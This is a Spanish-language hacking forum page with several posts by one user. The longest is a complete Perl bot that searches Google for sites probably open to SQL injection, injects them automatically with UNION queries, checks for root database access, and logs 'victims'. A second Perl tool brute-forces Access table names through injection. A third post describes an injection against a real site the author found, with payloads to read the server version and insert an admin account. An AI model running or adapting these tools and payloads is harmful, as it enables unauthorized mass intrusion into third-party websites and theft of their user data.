elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado:


  Mostrar Temas
Páginas: [1]
1  Seguridad Informática / Desafíos - Wargames / WarGame VulnToteXc7F. en: 26 Septiembre 2011, 05:47 am
Hola muchachos, gusto en saludarlos al foro! Les dejo un desafió para las noches de aburrimiento y cervezas ensima. Vale todo!!!



https://170.210.156.26.

Espero se diviertan.

Saludos
2  Seguridad Informática / Nivel Web / Bot MySQL Search Google 2.0 en: 19 Octubre 2009, 05:59 am
Bueno gente aca les dejo un BOT que que lo codee hace un tiempito atras. El que publico, está en la version 2.0.
Lo que hace el BOT es buscar en google con un patron de busqueda y luego testear si la pagina es posiblemente inyectable a SQL., en el caso de que lo sea lo guarda para despues intentar inyectar por si solo. Todo lo almacena en un archivo que nosotros le pasamos como parametro su nombre. Un Ejemplo de uso:

          
Citar
+++++++++++++++++++++++++++++++++++++
                +     Bot MySQL Search Google 2.0   +
                +         By MagnoBalt              +
                +++++++++++++++++++++++++++++++++++++

[?]Ingrese Patron de Busqueda (ej: inurl:.php?id_noticia=: >> inurl:noticias.php?id= site:com.ar
[?]Total de paginas de busquedas en Google: >> 10                                              
[?]Nombre de archivo donde guardar todo: >>argetinas.txt                                        

  • Search:
Fijense los parametros. el primero es el patron de busqueda inurl:noticias.php?id= site:com.ar
, el segundo es la cantidad de paginas para google 10, y en el tercer es el nombre del archivo donde almacenara todo para despues revisarlo con mayor tranquilidad argetinas.txt  

El ataque de la inyeccion se divide en estos pasos.+
1. Obviamente sacar la cantidad de columnas mediante la clausula UNION con una cota superior de 50. (eso lo pueden modificar en el codigo si quieren aun mas)
2. Verificar disponibilidad de Information_schema
3. Verificar disponibilidad de Mysq.Users
4. Verificar si el usuario de la base de datos es r00t. :)

Tengo pensado seguir agregandole mas cosas como busquedas atraves del BING y testeo de otras posibles formas de inyecciones. Si alguien tiene alguna sugerencia, critica, comentario, codigo lo que sea con mucho gusto sera recibido..

Aqui va el codigo.

Código
  1. #Bot MySql Search Google v 2.0
  2. #Coded by Magnobalt
  3. #contact Msn: magnobalt@gmail.com
  4. #thanks www-Insecurity.cl && www.undersecurity.net
  5.  
  6. #!/usr/bin/perl
  7.        use LWP::Simple;
  8.        use LWP::UserAgent;
  9.        use HTTP::Request;
  10.  
  11. my $sis="$^O";if ($sis eq 'MSWin32') { system("cls"); } else { system("clear"); } #que sistema operativo es
  12.        print "\t\t+++++++++++++++++++++++++++++++++++++\n";
  13.        print "\t\t+     Bot MySQL Search Google 2.0   +\n";
  14.        print "\t\t+         By MagnoBalt              +\n";
  15.    print "\t\t+++++++++++++++++++++++++++++++++++++\n\n";
  16.        print "[?]Ingrese Patron de Busqueda (ej: inurl:.php?id_noticia=: >> ";
  17.        $dork.=<STDIN>;
  18. chomp($dork);
  19. print "[?]Total de paginas de busquedas en Google: >> ";
  20.        $paginas.=<STDIN> ;
  21. chomp($paginas);
  22. print "[?]Nombre de archivo donde guardar todo: >>";
  23. $archivo.=<STDIN>;
  24. chomp($archivo);
  25.        open (AR,">>".$archivo) || die "No puede crear el archivo error: $!";
  26. print "\n[+]Search:\n\n";
  27. print AR "++++++++++++++++++++++++++++++++++++\n";
  28.        print AR "+     Bot MySQL Search Google V2.0 +\n";
  29.        print AR "+         By MagnoBalt             +\n";
  30. print AR "++++++++++++++++++++++++++++++++++++\n\n";
  31. print AR "Patron De Busqueda en Google: $dork y paginas utilizadas: $paginas\n";
  32. print AR "\n[+]Search:\n\n";
  33. #-----------------------------------------------------------------------------------------------------
  34. #Buscando en google vulnerabilidades
  35.        for($i = 0;$i <= $paginas*10;$i += 10)
  36.        {      
  37.        $busqueda = "http://www.google.com/search?hl=en&q=".$dork."&btnG=Search&start=".$i;
  38.    $ua = LWP::UserAgent->new(agent => 'Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12');
  39.            $ua->timeout(7);
  40.            #$ua->env_proxy;
  41.            $response = $ua->get($busqueda);
  42.    $source= $response->content;
  43.            while ($source =~ m/<h3 class=.*?<a href="([^"]+).*?>(.*?)<\/a>/g) {
  44.     $ban=0;    
  45.     my $enlace = $1;
  46.     $testing=$enlace."\'";
  47.     $ua= LWP::UserAgent->new(agent => 'Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12');
  48.     $ua->timeout(10);
  49.     $response = $ua->get($testing);
  50.     $error=$response->content;
  51. if($error=~ /mysql_fetch_/ || $error=~ /You have an error in your SQL syntax/ || $error =~ /tem um erro de sintaxe no seu SQL/ || $error =~ /mysql_num_rows/ || $error =~ /Division by zero in/) {
  52. #-----------------------------------------------------------------------------------------------------
  53. # Verifico si existe la url en entre las victimas para no redundar
  54.  foreach $exist(@victims){
  55.    my($url)=$exist=~m/(http:\/\/[\w+\.]+\/)/;
  56.    my($url2)=$enlace=~m/(http:\/\/[\w+\.]+\/)/;
  57.      if ($url eq $url2){
  58. $ban=1;
  59. }
  60. }#cierre foreach
  61.      if ($ban == 0){
  62. push(@victims,$enlace);
  63.    }
  64. #-----------------------------------------------------------------------------------------------------
  65.  }
  66.    }
  67. }#fin del for
  68.  
  69. if (@victims){ #verifico si no esta vacio el arrays
  70.  print "\n[+]Estas son las  posibles victimas:\n";
  71.  for($i=0;$i<=$#victims;$i++){
  72.  print "[$i]$victims[$i]\n";
  73.  print AR "[$i]$victims[$i]\n";
  74.      }  
  75. }else {
  76.  print "[-]No se encontraron Victimas, realiza otra busqueda o verifica si Google no la bloqueo\n";
  77.  print AR "[-]No se encontraron Victimas, realiza otra busqueda o verifica si Google no la bloqueo\n";
  78.  exit(0);
  79. }
  80. #-----------------------------------------------------------------------------------------------------
  81. # Empezando la automatizacion del bot
  82. #-----------------------------------------------------------------------------------------------------
  83. print"\n\n[+]Empezando la automatizacion del BOT\n";
  84. print AR "\n\n[+]Empezando la automatizacion del BOT\n";
  85. for($ii=0;$ii<=$#victims;$ii++){
  86. $ban2=0;
  87. $victima=$victims[$ii];
  88. print "\n[+] Inyectando a: $victima\n";
  89. $cfin ="--" ;
  90. $cmn="+";
  91. #$victims[$opc]=$victims[$opc]." *";# Coloco al final el Asterisco
  92. $victima=~s/[a-zA-Z0-9_\*\s]+$//g;;#dejo en blanco el ultimo parametro ($) para poder inyectar, inclusive los valores * y espacion en blanco con \s
  93. misma_victima:
  94. if ($ban2 == 1) {
  95.    $cfin ="/*" ;
  96.    $cmn="/**/";
  97. }
  98.  #-----------------------------------------------------------------------------------------------------
  99. #busqueda de Columnas
  100. $column=50;
  101. for ($col=0; $col <=$column;$col++){
  102.     $union.=','."0x6d61676e6f62616c74";
  103.     $numero.=','.$col;
  104.      if ($col ==0){
  105.      $union='';
  106.      $numero='';
  107.      }
  108.     $out=$victima."-1".$cmn."UNION".$cmn."SELECT".$cmn."0x6d61676e6f62616c74".$union.$cfin;
  109.     $ua= LWP::UserAgent->new(agent => 'Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12');
  110.     $ua->timeout(10);
  111.     $response = $ua->get($out);
  112.     $verifica=$response->content;
  113.             if ($verifica =~/magnobalt/) {
  114. $col++;
  115. print "\n[+]La web posee $col";
  116. print "\n[+]".$victima."-1".$cmn."UNION".$cmn."SELECT".$cmn."0".$numero.$cfin."\n\n";
  117. print AR "[SITIO]\n";
  118. print AR "$victima\n";
  119. print AR "[+]La web posee $col\n";
  120. print AR "[+]".$victima."-1".$cmn."UNION".$cmn."SELECT".$cmn."0".$numero.$cfin."\n\n";
  121. #-----------------------------------------------------------------------------------------------------
  122. #buscando Information_schema
  123. print AR "[Information_Schema]\n";
  124. $out=$victima."-1".$cmn."UNION".$cmn."SELECT".$cmn."0x6d61676e6f62616c74".$union.$cmn."FROM".$cmn."information_schema.tables".$cfin;#busco information schema.
  125. $ua= LWP::UserAgent->new(agent => 'Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12');
  126. $ua->timeout(10);
  127. $response = $ua->get($out);
  128. $verifica=$response->content;
  129. if ($verifica =~/magnobalt/){
  130.     print AR "[+]Information Schema Disponible\n\n";
  131.     }else {
  132.     print AR "[-]Information_Schema no Disponible\n\n";
  133.      }
  134. #-----------------------------------------------------------------------------------------------------
  135. #buscando Mysql.users
  136. print AR "[Mysql.users]\n";
  137. $out=$victima."-1".$cmn."UNION".$cmn."SELECT".$cmn."0x6d61676e6f62616c74".$union.$cmn."FROM".$cmn."Mysql.users".$cfin;
  138. $ua= LWP::UserAgent->new(agent => 'Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12');
  139. $ua->timeout(10);
  140. $response = $ua->get($out);
  141. $verifica=$response->content;
  142. if ($verifica =~/magnobalt/){
  143.     print AR "[+]Mysql.users Disponible\n\n";
  144.     }else {
  145.     print AR "[-]Mysql.users no Disponible\n\n";
  146.      }
  147.                 #-----------------------------------------------------------------------------------------------------
  148. #verficando si esta corriendo como root
  149. print AR "[Usuario RooT]\n";
  150. while($j < $col-1){
  151.    $root.=','."concat(0x6d61676e6f62616c74,user())";
  152.    $j++;
  153.  }
  154. $out=$victima."-1".$cmn."UNION".$cmn."SELECT".$cmn."concat(0x6d61676e6f62616c74,user())".$root.$cfin;
  155. $ua= LWP::UserAgent->new(agent => 'Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12');
  156. $ua->timeout(10);
  157. $response = $ua->get($out);
  158. $verifica=$response->content;
  159. if ($verifica=~/magnobaltroot@/){
  160.     print AR "[+]El usuario es root\n\n";
  161.     }else {
  162.     print AR "[-]El usuario no es root\n\n";
  163.      }
  164. push(@victims_on,$victima);
  165. $col=80;#fuerzo salida del for de columnas
  166.  
  167.     }
  168. }#cierre for de columnas
  169.  if ($ban2 == 0 && $col == 51){
  170.            $ban2=1;  
  171.      goto misma_victima;
  172.      }
  173.  if ($cfin eq "/*" && $col == 51){
  174.      push(@victims_off,$victima);
  175.    }
  176.  
  177. }#cierre for principal
  178.  
  179. #------------------------------------------------------------------------------------------------------------
  180. #imprimimos la que tuvieron exitos y las que no
  181.  
  182. print AR "[+]Paginas inyectadas exitosamente\n\n";
  183. for($i=0;$i<=$#victims_on;$i++){
  184.  print AR "[$i]$victims_on[$i]\n";
  185.      }  
  186. print "\n\n";
  187. print AR "\n[-]Estas paginas no se pudieron automatizar intentelas a mano :)\n\n";
  188. for($i=0;$i<=$#victims_off;$i++){
  189.   print AR "[$i]$victims_off[$i]\n";
  190.      }  


Saludos a Todos...

3  Programación / Scripting / AIS: Access Injection SQL -- PERL en: 16 Julio 2009, 04:06 am
Hola estoy teniendo un problema en perl. Estoy haciendo script  y para practicar socket decidi hacer una tool que inyecte codigo SQL a un motor de ACCESS. Ahora la cuestion es que no se como hacer para que cuando realizo el SOCKET con una pagina "A" (la cual es la vulnerable a inyecciones), ese mismo socket me sirva para realizar todas las inyecciones que nesesite. Sin volver a crear el objeto nuevamente.  
Este es mi script. Si se fijan en cada inyeccion creo un nuevo socket llamando a la funcion socket,y le paso como parametro el GET de la pagina q deseo obtener (que vendria hacer la inyeccion q mando por URL)
Creo q esto esta mal.. alguien me podria ayudar..
Como seria crear una sola vez el Socket y luego usar Los GET que quisiera

Código
  1. #!/usr/bin/perl
  2. use IO::Socket;
  3. @nombretabla=('admin','tblUsers','usuarios','tblAdmin','user','users','username','usernames','usuario',
  4.  'name','names','nombre','nombres','member','members','admin_table',
  5.  'miembro','miembros','membername','admins','administrator','accesos',
  6.  'administrators','passwd','password','passwords','pass','Pass',
  7.  'tAdmin','tadmin','user_password','user_passwords','user_name','user_names',
  8.  'member_password','mods','mod','moderators','moderator','user_email',
  9.  'user_emails','user_mail','user_mails','mail','emails','email','address',
  10.  'e-mail','emailaddress','correo','correos','phpbb_users','log','logins',
  11.  'login','registers','register','usr','usrs','ps','pw','un','u_name','u_pass',
  12.  'tpassword','tPassword','u_password','nick','nicks','manager','managers','administrador',
  13.  'tUser','tUsers','administradores','clave','login_id','pwd','pas','sistema_id',
  14.  'sistema_usuario','sistema_password','contraseña','auth','key','senha',
  15.  'tb_admin','tb_administrator','tb_login','tb_logon','tb_members_tb_member',
  16.      'tb_users','tb_user','tb_sys','sys','fazerlogon','logon','fazer','authorization',
  17.      'membros','utilizadores','staff','nuke_authors','accounts','account','accnts',
  18.      'associated','accnt','customers','customer','membres','administrateur','utilisateur',
  19.      'tuser','tusers','utilisateurs','password','amministratore','god','God','authors',
  20.      'asociado','asociados','autores','membername','autor','autores','Users','Admin','Members',
  21.  'Miembros','Usuario','Usuarios','ADMIN','USERS','USER','MEMBER','MEMBERS','USUARIO','USUARIOS','MIEMBROS','MIEMBRO');
  22. sub socket{
  23.    my $inyec= shift;
  24. $socket = new IO::Socket::INET(
  25. PeerAddr => $host,
  26. PeerPort => 'http(80)',
  27. Proto => 'tcp') || die "[-] No se ha podido conectar a $host";
  28. print $socket "GET " .$path.$inyec.$tabla. " HTTP/1.0\r\n";
  29. print $socket "HOST:$host\r\n";
  30. print $socket "\n\n";
  31. return $socket;
  32.  }
  33.  
  34. if (!@ARGV[1]) {
  35.      print "======================================================= \n";
  36.      print " Injection AIS V 1.0 beta by MagnoBalt \n\n";
  37.      print " use perl $0 www.pagina.com.ar /noticia.php?id=\n\n";
  38.  print " AIS:Acces Injection SQL \n";
  39.      print "======================================================= \n";
  40.      exit(0);
  41.      }
  42. $host =@ARGV[0];
  43. $path=@ARGV[1];
  44. print "\n[-]Buscando Tablas \n";
  45. $iny="-1+UNION+SELECT+0+FROM+";
  46. #print "antes de la funcion valor $iny\n";
  47. foreach $tabla(@nombretabla) {
  48.  chomp($tabla);  
  49.  #empuezo a guardar linea por linea el source en $response
  50.  $socket=&socket($iny);
  51.  while (<$socket>) {$response .= "$_ "}
  52.  if($response=~/The number of columns in the two selected tables or queries of a union query do not match/ || $response=~/ero de columnas de las dos tablas o consultas seleccionadas para una consulta de uni&#38;#243;n no coincide/)
  53. {
  54. print "[+]Tabla $tabla FOUND\n";
  55. $tabla_aux=$tabla;
  56.    }
  57. #print $response;
  58. $response="";#limpio la variable
  59. }#cierrre foreach
  60. $inyc="";
  61. #buscamos numeros de columnas
  62. print "[-]Buscando columnas\n";
  63. print "[-]Ingrese Maximo con cual intentar \n";
  64. $col.=<STDIN>;
  65. chomp($col);
  66. print "[-]Buscando..\n";
  67. $columna=1;
  68. while ($columna <= $col) {
  69. $union.=','.$columna;
  70. $iny="-1+UNION+SELECT+0".$union."+FROM+".$tabla_aux;
  71. $socket=&socket($iny);
  72. while (<$socket>) { $response .= "$_ "}
  73. #print $response;
  74. if ($response=~/The number of columns in the two selected tables or queries of a union query do not match/ || $response=~/ero de columnas de las dos tablas o consultas seleccionadas para una consulta de uni&#38;#243;n no coincide/)
  75. {
  76. print "[!] Fallo intento columna $columna\n";
  77. }
  78. else {
  79. $columna++;
  80. print "[+]La Web Posee $columna columnas\n ";
  81. $columna = $col;#fuerzo la salida del while.
  82. }
  83. $response="";#limpio la variable
  84. $columna++;
  85. }
  86.  
  87.  
  88.  
  89. close $socket;
  90. exit(0);
  91.  
  92.  
  93.  
  94.  
4  Seguridad Informática / Nivel Web / Como seguir Con la inyeccion SQL en: 26 Agosto 2008, 17:24 pm
Hola que tal como va!! Encontre un pagina donde pude hacerles una inyecciones de SQL y me dio el nombre de la tabla mas Todas las culomnas..  les muestro algunas

dbo.tblUser.User_ID
dbo.tblUser.User_Code
dbo.tblUser.User_Password
dbo.tblUser.User_Permissions
dbo.tblUser.User_Number
dbo.tblUser.User_Firstname
dbo.tblUser.User_Surname
dbo.tblUser.User_TitleBefore
dbo.tblUser.User_TitleAfter
                  .
                  .

Ahora cuando llego a tratar de sacarle la version por ejemplo con esto:
'union select @@version ,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 --
Me tira este error...
Citar
Error: ERROR [42000] [Microsoft][ODBC SQL Server Driver][SQL Server]Error converting data type nvarchar to bigint.
Cuando me tendrai q dar algo asi..
Citar
Error Type:
Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2005 - 9.00.2221.00 (Intel X86) Feb 9 2007 17:30:38 Copyright (c) 1988-2005 Microsoft Corporation Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 1) ' to data type int.
Lo mismo pasa si pongo por ejemplo
'union select @@servername ,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 --
No se a lo qiue se refiere con ese error...
Despues tambien como tengo las columnas intente agregar un registro con nombre de usuario y pass.. para loguearme puse
';INSERT INTO dbo.tblUser (User_Code, User_password) VALUES ('magnobalt', 'magno') --
Y obtengo este error:
Citar
error: ERROR [23000] [Microsoft][ODBC SQL Server Driver][SQL Server]Violation of UNIQUE KEY constraint 'IX_tblUser'. Cannot insert duplicate key in object 'dbo.tblUser'. ERROR [01000] [Microsoft][ODBC SQL Server Driver][SQL Server]The statement has been terminated.

Entiendo Como si estoy queriendo ingresar un dato duplicado en la clave primaria... Pero Intente con numeros altos al lado de mi user y me sigue arrojando el mismo error...Pero creo q la columna user no creo q sea la clave primaria...alguna ayuda!!
Un abrazo
Si alguien me puede dar una mano!! Gracias
Páginas: [1]
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines